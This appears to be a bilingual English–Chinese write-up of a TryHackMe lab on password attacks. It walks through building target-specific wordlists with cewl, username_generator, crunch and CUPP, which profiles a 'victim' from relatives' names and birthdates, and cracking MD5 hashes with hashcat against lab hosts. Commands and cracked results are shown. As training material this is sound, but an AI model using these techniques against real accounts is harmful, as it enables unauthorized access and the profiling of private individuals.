&lt;p&gt;Customizing password lists is one of the best ways to increase the chances of finding valid credentials. We can create custom password lists from the target website. Often, a company&amp;#39;s website contains valuable information about the company and its employees, including emails and employee names. In addition, the website may contain keywords specific to what the company offers, including product and service names, which may be used in an employee&amp;#39;s password!&lt;br&gt;自定义密码列表是增加查找有效凭据机会的最佳方法之一。我们可以从目标网站创建自定义密码列表。通常，公司的网站包含有关公司及其员工的宝贵信息，包括电子邮件和员工姓名。此外，该网站可能包含特定于公司提供的关键字，包括产品和服务名称，这些名称可用于员工的密码！  &lt;/p&gt;
&lt;p&gt;Tools such as Cewl can be used to effectively crawl a website and extract strings or keywords. Cewl is a powerful tool to generate a wordlist specific to a given company or target. Consider the following example below:&lt;br&gt;Cewl 等工具可用于有效地抓取网站并提取字符串或关键字。Cewl 是一个强大的工具，可以生成特定于给定公司或目标的单词列表。请考虑以下示例：&lt;/p&gt;
&lt;p&gt;cewl&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@thm$ cewl -w list.txt -d 5 -m 5 http://thm.labs
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;-w will write the contents to a file. In this case, list.txt.&lt;br&gt;-w 会将内容写入文件。在这种情况下，list.txt。&lt;/p&gt;
&lt;p&gt;-m 5 gathers strings (words) that are 5 characters or more&lt;br&gt;-m 5 收集 5 个字符或更多字符的字符串（单词）&lt;/p&gt;
&lt;p&gt;-d 5 is the depth level of web crawling/spidering (default 2)&lt;br&gt;-d 5 是网络爬行/爬虫的深度级别（默认值 2）&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://thm.labs&quot;&gt;http://thm.labs&lt;/a&gt; is the URL that will be used&lt;br&gt;&lt;a href=&quot;http://thm.labs&quot;&gt;http://thm.labs&lt;/a&gt; 是将使用的 URL&lt;/p&gt;
&lt;p&gt;As a result, we should now have a decently sized wordlist based on relevant words for the specific enterprise, like names, locations, and a lot of their business lingo. Similarly, the wordlist that was created could be used to fuzz for usernames.&lt;br&gt;因此，我们现在应该有一个大小适中的词汇表，该词汇表基于特定企业的相关词汇，例如名称、位置和他们的许多业务术语。同样，创建的单词列表可用于模糊用户名。&lt;/p&gt;
&lt;p&gt;Apply what we discuss using cewl against &lt;a href=&quot;https://clinic.thmredteam.com/&quot;&gt;https://clinic.thmredteam.com/&lt;/a&gt; to parse all words and generate a wordlist with a minimum length of 8. &lt;u&gt;Note that we will be using this wordlist later on with another task!&lt;/u&gt;&lt;br&gt;应用我们使用 cewl 对 &lt;a href=&quot;https://clinic.thmredteam.com/&quot;&gt;https://clinic.thmredteam.com/&lt;/a&gt; 讨论的内容来解析所有单词并生成最小长度为 8 的单词列表。请注意，我们稍后将在另一个任务中使用此单词列表！&lt;/p&gt;
&lt;h3&gt;Username Wordlists 用户名 Wordlists&lt;/h3&gt;
&lt;p&gt;Gathering employees&amp;#39; names in the enumeration stage is essential. We can generate username lists from the target&amp;#39;s website. For the following example, we&amp;#39;ll assume we have a &lt;strong&gt;{first name}&lt;/strong&gt; &lt;strong&gt;{last name} (ex: John Smith)&lt;/strong&gt; and a method of generating usernames.&lt;br&gt;在普查阶段收集员工的姓名至关重要。我们可以从目标的网站生成用户名列表。在以下示例中，我们假设我们有一个 {first name} {last name}（例如：John Smith）和一个生成用户名的方法。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;{first name}:&lt;/strong&gt; john {名字}： John&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;{last name}:&lt;/strong&gt; smith {姓氏}： Smith&lt;/li&gt;
&lt;li&gt;**{first name}{last name}:  &lt;strong&gt;&lt;strong&gt;johnsmith&lt;/strong&gt;&lt;/strong&gt;&lt;br&gt;&lt;strong&gt;&lt;strong&gt;{名字}{姓氏}： 约翰史密斯&lt;/strong&gt;&lt;/strong&gt; **&lt;/li&gt;
&lt;li&gt;**{last name}{first name}:  &lt;strong&gt;&lt;strong&gt;smithjohn&lt;/strong&gt;&lt;/strong&gt;&lt;br&gt;&lt;strong&gt;&lt;strong&gt;{姓氏}{名字}： Smithjohn&lt;/strong&gt;&lt;/strong&gt; **** **&lt;/li&gt;
&lt;li&gt;first letter of the **{first name}{last name}: &lt;strong&gt;&lt;strong&gt;jsmith&lt;/strong&gt;&lt;/strong&gt; **&lt;br&gt;{名字}{姓氏}的第一个字母：jsmith&lt;/li&gt;
&lt;li&gt;first letter of the **{last name}{first name}: &lt;strong&gt;&lt;strong&gt;sjohn&lt;/strong&gt;&lt;/strong&gt; **** **&lt;br&gt;{姓氏}{名字}的第一个字母：sjohn&lt;/li&gt;
&lt;li&gt;first letter of the **{first name}.{last name}: &lt;strong&gt;&lt;strong&gt;j.smith&lt;/strong&gt;&lt;/strong&gt; **&lt;br&gt;{名字}的第一个字母。{姓氏}： J.Smith&lt;/li&gt;
&lt;li&gt;first letter of the **{first name}-{last name}: &lt;strong&gt;&lt;strong&gt;j-smith&lt;/strong&gt;&lt;/strong&gt; **&lt;br&gt;{名字}-{姓氏}的第一个字母：J-Smith&lt;/li&gt;
&lt;li&gt;and so on 等等&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Thankfully, there is a tool username_generator that could help create a list with most of the possible combinations if we have a first name and last name.&lt;br&gt;值得庆幸的是，如果我们有名字和姓氏，有一个工具username_generator可以帮助创建一个包含大多数可能组合的列表。&lt;/p&gt;
&lt;p&gt;Usernames 用户名&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@thm$ git clone https://github.com/therodri2/username_generator.git
Cloning into &amp;#39;username_generator&amp;#39;...
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 9 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (9/9), done.

user@thm$ cd username_generator
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using python3 username_generator.py -h shows the tool&amp;#39;s help message and optional arguments.&lt;br&gt;使用 python3 username_generator.py -h 显示工具的帮助消息和可选参数。&lt;/p&gt;
&lt;p&gt;Usernames 用户名&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@thm$ python3 username_generator.py -h
usage: username_generator.py [-h] -w wordlist [-u]

Python script to generate user lists for bruteforcing!

optional arguments:
  -h, --help            show this help message and exit
  -w wordlist, --wordlist wordlist
                        Specify path to the wordlist
  -u, --uppercase       Also produce uppercase permutations. Disabled by default
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now let&amp;#39;s create a wordlist that contains the full name John Smith to a text file. Then, we&amp;#39;ll run the tool to generate the possible combinations of the given full name.&lt;br&gt;现在，让我们创建一个包含全名 John Smith 的单词列表到一个文本文件。然后，我们将运行该工具以生成给定全名的可能组合。&lt;/p&gt;
&lt;p&gt;Usernames 用户名&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@thm$ echo &amp;quot;John Smith&amp;quot; &amp;gt; users.lst
user@thm$ python3 username_generator.py -w users.lst
usage: username_generator.py [-h] -w wordlist [-u]
john
smith
j.smith
j-smith
j_smith
j+smith
jsmith
smithjohn
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is just one example of a custom username generator. Please feel free to explore more options or even create your own in the programming language of your choice!&lt;br&gt;这只是自定义用户名生成器的一个示例。请随时探索更多选项，甚至使用您选择的编程语言创建自己的选项！&lt;/p&gt;
&lt;h1&gt;Password Profiling #2 -&lt;/h1&gt;
&lt;h3&gt;Keyspace Technique 密钥空间技术&lt;/h3&gt;
&lt;p&gt;Another way of preparing a wordlist is by using the key-space technique. In this technique, we specify a range of characters, numbers, and symbols in our wordlist. crunch is one of many powerful tools for creating an offline wordlist. With crunch, we can specify numerous options, including min, max, and options as follows:&lt;br&gt;准备单词表的另一种方法是使用键空格技术。在这种技术中，我们在单词列表中指定一系列字符、数字和符号。Crunch 是创建离线单词列表的众多强大工具之一。使用 crunch，我们可以指定许多选项，包括 min、max 和 options，如下所示：&lt;/p&gt;
&lt;p&gt;crunch 紧缩&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@thm$ crunch -h
crunch version 3.6

Crunch can create a wordlist based on the criteria you specify.  
The output from crunch can be sent to the screen, file, or to another program.

Usage: crunch   [options]
where min and max are numbers

Please refer to the man page for instructions and examples on how to use crunch.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The following example creates a wordlist containing all possible combinations of 2 characters, including 0-4 and a-d. We can use the -o argument and specify a file to save the output to.&lt;br&gt;以下示例创建一个包含 2 个字符的所有可能组合的单词列表，包括 0-4 和 a-d。我们可以使用 -o 参数并指定一个文件来保存输出。&lt;/p&gt;
&lt;p&gt;crunch 紧缩&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@thm$ crunch 2 2 01234abcd -o crunch.txt
Crunch will now generate the following amount of data: 243 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: xx
crunch: 100% completed generating output
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here is a snippet of the output:&lt;br&gt;下面是输出的片段：&lt;/p&gt;
&lt;p&gt;crunch 紧缩&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@thm$ cat crunch.txt
00
01
02
03
04
0a
0b
0c
0d
10
.
.
.
cb
cc
cd
d0
d1
d2
d3
d4
da
db
dc
dd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It&amp;#39;s worth noting that crunch can generate a very large text file depending on the word length and combination options you specify. The following command creates a list with an 8 character minimum and maximum length containing numbers 0-9, a-f lowercase letters, and A-F uppercase letters:&lt;br&gt;值得注意的是，crunch 可以生成一个非常大的文本文件，具体取决于您指定的单词长度和组合选项。以下命令创建一个最小长度为8个字符和最大长度为8个字符的列表，其中包含数字0-9，a-f小写字母和a-f大写字母：&lt;/p&gt;
&lt;p&gt;crunch 8 8 0123456789abcdefABCDEF -o crunch.txt the file generated is 459 GB and contains 54875873536 words.&lt;br&gt;crunch 8 8 0123456789abcdefABCDEF -o crunch.txt生成的文件为 459 GB，包含 54875873536 个单词。&lt;/p&gt;
&lt;p&gt;crunch also lets us specify a character set using the -t option to combine words of our choice. Here are some of the other options that could be used to help create different combinations of your choice:&lt;br&gt;Crunch 还允许我们使用 -t 选项指定一个字符集来组合我们选择的单词。以下是一些其他选项，可用于帮助创建您选择的不同组合：  &lt;/p&gt;
&lt;p&gt;@ - lower case alpha characters&lt;br&gt;@ - 小写字母字符&lt;/p&gt;
&lt;p&gt;, - upper case alpha characters&lt;br&gt;， - 大写字母字符&lt;/p&gt;
&lt;p&gt;% - numeric characters % - 数字字符&lt;/p&gt;
&lt;p&gt;^ - special characters including space&lt;br&gt;^ - 特殊字符，包括空格&lt;/p&gt;
&lt;p&gt;For example, if part of the password is known to us, and we know it starts with pass and follows two numbers, we can use the % symbol from above to match the numbers. Here we generate a wordlist that contains pass followed by 2 numbers:&lt;br&gt;例如，如果我们知道部分密码，并且我们知道它以 pass 开头并跟随两个数字，则可以使用上面的 % 符号来匹配数字。在这里，我们生成一个包含 pass 后跟 2 个数字的单词列表：&lt;/p&gt;
&lt;p&gt;crunch 紧缩&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@thm$  crunch 6 6 -t pass%%
Crunch will now generate the following amount of data: 700 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 100
pass00
pass01
pass02
pass03
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;CUPP - Common User Passwords Profiler&lt;/h3&gt;
&lt;p&gt;CUPP - 通用用户密码探查器
CUPP is an automatic and interactive tool written in Python for creating custom wordlists. For instance, if you know some details about a specific target, such as their birthdate, pet name, company name, etc., this could be a helpful tool to generate passwords based on this known information. CUPP will take the information supplied and generate a custom wordlist based on what&amp;#39;s provided. There&amp;#39;s also support for a 1337/leet mode, which substitutes the letters a, i,e, t, o, s, g, z  with numbers. For example, replace a  with 4  or i with 1. For more information about the tool, please visit the GitHub repo &lt;a href=&quot;https://github.com/Mebus/cupp&quot;&gt;here&lt;/a&gt;.&lt;br&gt;CUPP 是一个用 Python 编写的自动交互式工具，用于创建自定义单词列表。例如，如果您知道有关特定目标的一些详细信息，例如他们的出生日期、宠物名称、公司名称等，这可能是根据这些已知信息生成密码的有用工具。CUPP将获取提供的信息，并根据提供的信息生成自定义单词列表。还支持 1337/leet 模式，该模式将字母 a、i、e、t、o、s、g、z 替换为数字。例如，将 a 替换为 4 或将 i 替换为 1。有关该工具的更多信息，请访问此处的 GitHub 存储库。&lt;/p&gt;
&lt;p&gt;To run CUPP, we need python 3 installed. Then clone the GitHub repo to your local machine using git as follows:&lt;br&gt;要运行 CUPP，我们需要安装 python 3。然后使用 git 将 GitHub 存储库克隆到本地计算机，如下所示：&lt;/p&gt;
&lt;p&gt;CUPP 库普&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@thm$  git clone https://github.com/Mebus/cupp.git
Cloning into &amp;#39;cupp&amp;#39;...
remote: Enumerating objects: 237, done.
remote: Total 237 (delta 0), reused 0 (delta 0), pack-reused 237
Receiving objects: 100% (237/237), 2.14 MiB | 1.32 MiB/s, done.
Resolving deltas: 100% (125/125), done.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now change the current directory to CUPP and run python3 cupp.py or with -h to see the available options.&lt;br&gt;现在将当前目录更改为 CUPP 并运行 python3 cupp.py 或使用 -h 查看可用选项。&lt;/p&gt;
&lt;p&gt;CUPP 库普&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@thm$  python3 cupp.py
 ___________
   cupp.py!                 # Common
      \                     # User
       \   ,__,             # Passwords
        \  (oo)____         # Profiler
           (__)    )\
              ||--|| *      [ Muris Kurgas | j0rgan@remote-exploit.org ]
                            [ Mebus | https://github.com/Mebus/]

usage: cupp.py [-h] [-i | -w FILENAME | -l | -a | -v] [-q]

Common User Passwords Profiler

optional arguments:
  -h, --help         show this help message and exit
  -i, --interactive  Interactive questions for user password profiling
  -w FILENAME        Use this option to improve existing dictionary, or WyD.pl output to make some pwnsauce
  -l                 Download huge wordlists from repository
  -a                 Parse default usernames and passwords directly from Alecto DB. Project Alecto uses purified
                     databases of Phenoelit and CIRT which were merged and enhanced
  -v, --version      Show the version of this program.
  -q, --quiet        Quiet mode (don&amp;#39;t print banner)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;CUPP supports an interactive mode where it asks questions about the target and based on the provided answers, it creates a custom wordlist. If you don&amp;#39;t have an answer for the given field, then skip it by pressing the Enter key.&lt;br&gt;CUPP支持交互模式，在该模式下，它会询问有关目标的问题，并根据提供的答案创建自定义单词列表。如果您没有给定字段的答案，请按 Enter 键跳过它。&lt;/p&gt;
&lt;p&gt;CUPP 库普&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@thm$  python3 cupp.py -i
 ___________
   cupp.py!                 # Common
      \                     # User
       \   ,__,             # Passwords
        \  (oo)____         # Profiler
           (__)    )\
              ||--|| *      [ Muris Kurgas | j0rgan@remote-exploit.org ]
                            [ Mebus | https://github.com/Mebus/]


[+] Insert the information about the victim to make a dictionary
[+] If you don&amp;#39;t know all the info, just hit enter when asked! ;)

&amp;gt; First Name: 
&amp;gt; Surname: 
&amp;gt; Nickname: 
&amp;gt; Birthdate (DDMMYYYY): 


&amp;gt; Partners) name:
&amp;gt; Partners) nickname:
&amp;gt; Partners) birthdate (DDMMYYYY):


&amp;gt; Child&amp;#39;s name:
&amp;gt; Child&amp;#39;s nickname:
&amp;gt; Child&amp;#39;s birthdate (DDMMYYYY):


&amp;gt; Pet&amp;#39;s name:
&amp;gt; Company name:


&amp;gt; Do you want to add some key words about the victim? Y/[N]:
&amp;gt; Do you want to add special chars at the end of words? Y/[N]:
&amp;gt; Do you want to add some random numbers at the end of words? Y/[N]:
&amp;gt; Leet mode? (i.e. leet = 1337) Y/[N]:

[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to .....txt, counting ..... words.
&amp;gt; Hyperspeed Print? (Y/n)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ِAs a result, a custom wordlist that contains various numbers of words based on your entries is generated. Pre-created wordlists can be downloaded to your machine as follows:&lt;br&gt;ِ因此，会生成一个自定义单词列表，其中包含基于您的输入的各种数量的单词。预先创建的单词列表可以按如下方式下载到您的机器上：&lt;/p&gt;
&lt;p&gt;CUPP 库普&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@thm$  python3 cupp.py -l
 ___________
   cupp.py!                 # Common
      \                     # User
       \   ,__,             # Passwords
        \  (oo)____         # Profiler
           (__)    )\
              ||--|| *      [ Muris Kurgas | j0rgan@remote-exploit.org ]
                            [ Mebus | https://github.com/Mebus/]


        Choose the section you want to download:

     1   Moby            14      french          27      places
     2   afrikaans       15      german          28      polish
     3   american        16      hindi           29      random
     4   aussie          17      hungarian       30      religion
     5   chinese         18      italian         31      russian
     6   computer        19      japanese        32      science
     7   croatian        20      latin           33      spanish
     8   czech           21      literature      34      swahili
     9   danish          22      movieTV         35      swedish
    10   databases       23      music           36      turkish
    11   dictionaries    24      names           37      yiddish
    12   dutch           25      net             38      exit program
    13   finnish         26      norwegian


        Files will be downloaded from http://ftp.funet.fi/pub/unix/security/passwd/crack/dictionaries/ repository

        Tip: After downloading wordlist, you can improve it with -w option

&amp;gt; Enter number:
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Based on your interest, you can choose the wordlist from the list above to aid in generating wordlists for brute-forcing!&lt;br&gt;根据您的兴趣，您可以从上面的列表中选择单词列表，以帮助生成用于暴力破解的单词列表！&lt;/p&gt;
&lt;p&gt;Finally, CUPP could also provide default usernames and passwords from the Alecto database by using the -a option.&lt;br&gt;最后，CUPP 还可以使用 -a 选项从 Alecto 数据库中提供默认用户名和密码。&lt;/p&gt;
&lt;p&gt;CUPP 库普&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@thm$  python3 cupp.py -a
 ___________
   cupp.py!                 # Common
      \                     # User
       \   ,__,             # Passwords
        \  (oo)____         # Profiler
           (__)    )\
              ||--|| *      [ Muris Kurgas | j0rgan@remote-exploit.org ]
                            [ Mebus | https://github.com/Mebus/]


[+] Checking if alectodb is not present...
[+] Downloading alectodb.csv.gz from https://github.com/yangbh/Hammer/raw/b0446396e8d67a7d4e53d6666026e078262e5bab/lib/cupp/alectodb.csv.gz ...

[+] Exporting to alectodb-usernames.txt and alectodb-passwords.txt
[+] Done.
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;答题&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Password%20Attacks-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;Offline Attacks -&lt;/h1&gt;
&lt;p&gt;This section discusses offline attacks, including dictionary, brute-force, and rule-based attacks.&lt;br&gt;本节讨论离线攻击，包括字典攻击、暴力攻击和基于规则的攻击。&lt;/p&gt;
&lt;h3&gt;Dictionary attack 字典攻击&lt;/h3&gt;
&lt;p&gt;A dictionary attack is a technique used to guess passwords by using well-known words or phrases. The dictionary attack relies entirely on pre-gathered wordlists that were previously generated or found. It is important to choose or create the best candidate wordlist for your target in order to succeed in this attack. Let&amp;#39;s explore performing a dictionary attack using what you&amp;#39;ve learned in the previous tasks about generating wordlists. We will showcase an offline dictionary attack using hashcat, which is a popular tool to crack hashes.&lt;br&gt;字典攻击是一种使用已知单词或短语来猜测密码的技术。字典攻击完全依赖于先前生成或发现的预先收集的单词列表。为了成功进行此攻击，为您的目标选择或创建最佳候选词表非常重要。让我们使用您在前面有关生成单词列表的任务中学到的知识来探索如何执行字典攻击。我们将展示使用 hashcat 的离线字典攻击，hashcat 是一种流行的破解哈希工具。  &lt;/p&gt;
&lt;p&gt;Let&amp;#39;s say that we obtain the following hash f806fc5a2a0d5ba2471600758452799c, and want to perform a dictionary attack to crack it. First, we need to know the following at a minimum&lt;br&gt;假设我们得到以下哈希 f806fc5a2a0d5ba2471600758452799c，并想执行字典攻击来破解它。首先，我们至少需要了解以下内容:  &lt;/p&gt;
&lt;p&gt;1- What type of hash is this?&lt;br&gt;1- 这是什么类型的哈希？&lt;br&gt;2- What wordlist will we be using? Or what type of attack mode could we use?&lt;br&gt;2-我们将使用什么单词表？或者我们可以使用什么类型的攻击模式？&lt;/p&gt;
&lt;p&gt;To identify the type of hash, we could a tool such as hashid or hash-identifier. For this example, hash-identifier believed the possible hashing method is &lt;u&gt;MD5&lt;/u&gt;. Please note the time to crack a hash will depend on the hardware you&amp;#39;re using (&lt;u&gt;CPU&lt;/u&gt; and/or GPU).&lt;br&gt;为了识别哈希的类型，我们可以使用诸如哈希或哈希标识符之类的工具 对于这个例子，哈希标识符认为可能的哈希方法是MD5。请注意，破解哈希值的时间取决于您使用的硬件（CPU 和/或 GPU）。&lt;/p&gt;
&lt;p&gt;Dictionary attack 字典攻击&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@machine$ hashcat -a 0 -m 0 f806fc5a2a0d5ba2471600758452799c /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...
f806fc5a2a0d5ba2471600758452799c:rockyou

Session..........: hashcat
Status...........: Cracked
Hash.Name........: MD5
Hash.Target......: f806fc5a2a0d5ba2471600758452799c
Time.Started.....: Mon Oct 11 08:20:50 2021 (0 secs)
Time.Estimated...: Mon Oct 11 08:20:50 2021 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   114.1 kH/s (0.02ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 40/40 (100.00%)
Rejected.........: 0/40 (0.00%)
Restore.Point....: 0/40 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: 123456 -&amp;gt; 123123

Started: Mon Oct 11 08:20:49 2021
Stopped: Mon Oct 11 08:20:52 2021
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;-a 0  sets the attack mode to a dictionary attack&lt;br&gt;-a 0 将攻击模式设置为字典攻击&lt;/p&gt;
&lt;p&gt;-m 0  sets the hash mode for cracking MD5 hashes; for other types, run hashcat -h for a list of supported hashes.&lt;br&gt;-m 0 设置破解 MD5 哈希的哈希模式;对于其他类型，请运行 hashcat -h 以获取支持的哈希列表。&lt;/p&gt;
&lt;p&gt;f806fc5a2a0d5ba2471600758452799c this option could be a single hash like our example or a file that contains a hash or multiple hashes.&lt;br&gt;F806fc5a2a0d5ba2471600758452799c 此选项可以是单个哈希（如我们的示例），也可以是包含一个或多个哈希的文件。&lt;/p&gt;
&lt;p&gt;/usr/share/wordlists/rockyou.txt the wordlist/dictionary file for our attack&lt;br&gt;/usr/share/wordlists/rockyou.txt 我们攻击的 wordlist/dictionary 文件&lt;/p&gt;
&lt;p&gt;We run hashcat with --show option to show the cracked value if the hash has been cracked:&lt;br&gt;我们使用 --show 选项运行 hashcat 以显示破解值，如果哈希值已被破解：&lt;/p&gt;
&lt;p&gt;Dictionary attack 字典攻击&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@machine$ hashcat -a 0 -m 0 F806FC5A2A0D5BA2471600758452799C /usr/share/wordlists/rockyou.txt --show
f806fc5a2a0d5ba2471600758452799c:rockyou
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As a result, the cracked value is rockyou&lt;br&gt;结果，破解值是rockyou.&lt;/p&gt;
&lt;h3&gt;Brute-Force attack 暴力攻击&lt;/h3&gt;
&lt;p&gt;Brute-forcing is a common attack used by the attacker to gain unauthorized access to a personal account. This method is used to guess the victim&amp;#39;s password by sending standard password combinations. The main difference between a dictionary and a brute-force attack is that a dictionary attack uses a wordlist that contains all possible passwords.&lt;br&gt;暴力破解是攻击者用来未经授权访问个人帐户的常见攻击。此方法用于通过发送标准密码组合来猜测受害者的密码。字典和暴力攻击之间的主要区别在于，字典攻击使用包含所有可能密码的单词列表。&lt;/p&gt;
&lt;p&gt;In contrast, a brute-force attack aims to try all combinations of a character or characters. For example, let&amp;#39;s assume that we have a bank account to which we need unauthorized access. We know that the PIN contains 4 digits as a password. We can perform a brute-force attack that starts from 0000 to 9999 to guess the valid PIN based on this knowledge. In other cases, a sequence of numbers or letters can be added to existing words in a list, such as admin0, admin1, .. admin9999&lt;br&gt;相比之下，暴力攻击旨在尝试一个或多个角色的所有组合。例如，假设我们有一个银行账户，我们需要未经授权的访问。我们知道 PIN 包含 4 位数字作为密码。我们可以执行从 0000 到 9999 的暴力攻击，根据这些知识猜测有效的 PIN。在其他情况下，可以将数字或字母序列添加到列表中的现有单词中，例如 admin0admin1、.。艾德明9999.&lt;/p&gt;
&lt;p&gt;For instance, hashcat has charset options that could be used to generate your own combinations. The charsets can be found in hashcat help options.&lt;br&gt;例如，hashcat 具有可用于生成您自己的组合的字符集选项。字符集可以在 hashcat 帮助选项中找到。&lt;/p&gt;
&lt;p&gt;Brute-Force attack 暴力攻击&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@machine$ hashcat --help
 ? | Charset
 ===+=========
  l | abcdefghijklmnopqrstuvwxyz
  u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
  d | 0123456789
  h | 0123456789abcdef
  H | 0123456789ABCDEF
  s |  !&amp;quot;#$%&amp;amp;&amp;#39;()*+,-./:;&amp;lt;=&amp;gt;?@[\]^_`{|}~
  a | ?l?u?d?s
  b | 0x00 - 0xff
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The following example shows how we can use hashcat with the brute-force attack mode with a combination of our choice.&lt;br&gt;以下示例展示了如何将 hashcat 与暴力攻击模式结合使用，并结合我们选择。&lt;/p&gt;
&lt;p&gt;Brute-Force attack 暴力攻击&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@machine$ hashcat -a 3 ?d?d?d?d --stdout
1234
0234
2234
3234
9234
4234
5234
8234
7234
6234
..
..
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;-a 3  sets the attacking mode as a brute-force attack&lt;br&gt;-a 3 将攻击模式设置为蛮力攻击&lt;/p&gt;
&lt;p&gt;?d?d?d?d the ?d tells hashcat to use a digit. In our case, ?d?d?d?d for four digits starting with 0000 and ending at 9999&lt;br&gt;？d？d？d？d 告诉 hashcat 使用一个数字。在我们的例子中，？d？d？d？d 表示从 0000 开始到 9999 结束的四位数字&lt;/p&gt;
&lt;p&gt;--stdout print the result to the terminal&lt;br&gt;--stdout 将结果打印到终端&lt;/p&gt;
&lt;p&gt;Now let&amp;#39;s apply the same concept to crack the following &lt;u&gt;MD5&lt;/u&gt; hash: 05A5CF06982BA7892ED2A6D38FE832D6 a four-digit PIN number.&lt;br&gt;现在让我们应用相同的概念来破解以下 MD5 哈希值：05A5CF06982BA7892ED2A6D38FE832D6 四位数 PIN 码。&lt;/p&gt;
&lt;p&gt;Brute-Force attack 暴力攻击&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@machine$ hashcat -a 3 -m 0 05A5CF06982BA7892ED2A6D38FE832D6 ?d?d?d?d
05a5cf06982ba7892ed2a6d38fe832d6:2021

Session..........: hashcat
Status...........: Cracked
Hash.Name........: MD5
Hash.Target......: 05a5cf06982ba7892ed2a6d38fe832d6
Time.Started.....: Mon Oct 11 10:54:06 2021 (0 secs)
Time.Estimated...: Mon Oct 11 10:54:06 2021 (0 secs)
Guess.Mask.......: ?d?d?d?d [4]
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 16253.6 kH/s (0.10ms) @ Accel:1024 Loops:10 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 10000/10000 (100.00%)
Rejected.........: 0/10000 (0.00%)
Restore.Point....: 0/1000 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-10 Iteration:0-10
Candidates.#1....: 1234 -&amp;gt; 6764

Started: Mon Oct 11 10:54:05 2021
Stopped: Mon Oct 11 10:54:08 2021
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Password%20Attacks-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Password%20Attacks-4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Password%20Attacks-5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Password%20Attacks-6.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Password%20Attacks-7.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Password%20Attacks-8.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
